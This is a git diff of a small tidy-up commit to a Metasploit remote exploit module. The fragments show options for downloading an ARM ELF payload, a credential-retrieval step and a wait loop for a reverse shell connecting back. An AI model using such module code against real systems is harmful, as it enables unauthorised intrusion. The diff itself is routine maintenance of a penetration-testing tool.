add "check" & msftidy
parent
84599ed3fc
commit
e783cb59ea
|
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
|
OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
|
||||||
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
||||||
OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
|
OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
|
||||||
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
|
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -218,13 +218,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
print_status("#{peer} - Connecting to target...")
|
print_status("#{peer} - Connecting to target...")
|
||||||
|
|
||||||
unless check == Exploit::CheckCode::Detected
|
unless check == Exploit::CheckCode::Detected
|
||||||
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
|
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Information Retrieval, obtains creds and logs in
|
# Information Retrieval, obtains creds and logs in
|
||||||
#
|
#
|
||||||
|
@ -336,7 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# Waits for shell to connect back to us, otherwise server stops and nothing is returned
|
# Waits for shell to connect back to us, otherwise server stops and nothing is returned
|
||||||
#
|
#
|
||||||
def wait_for_connect
|
def wait_for_connect
|
||||||
print_status("#{peer} - Waiting for shell to connect back to us...")
|
print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
|
||||||
waited = 0
|
waited = 0
|
||||||
while (@elf_sent)
|
while (@elf_sent)
|
||||||
select(nil, nil, nil, 1)
|
select(nil, nil, nil, 1)
|
||||||
|
|
Loading…
Reference in New Issue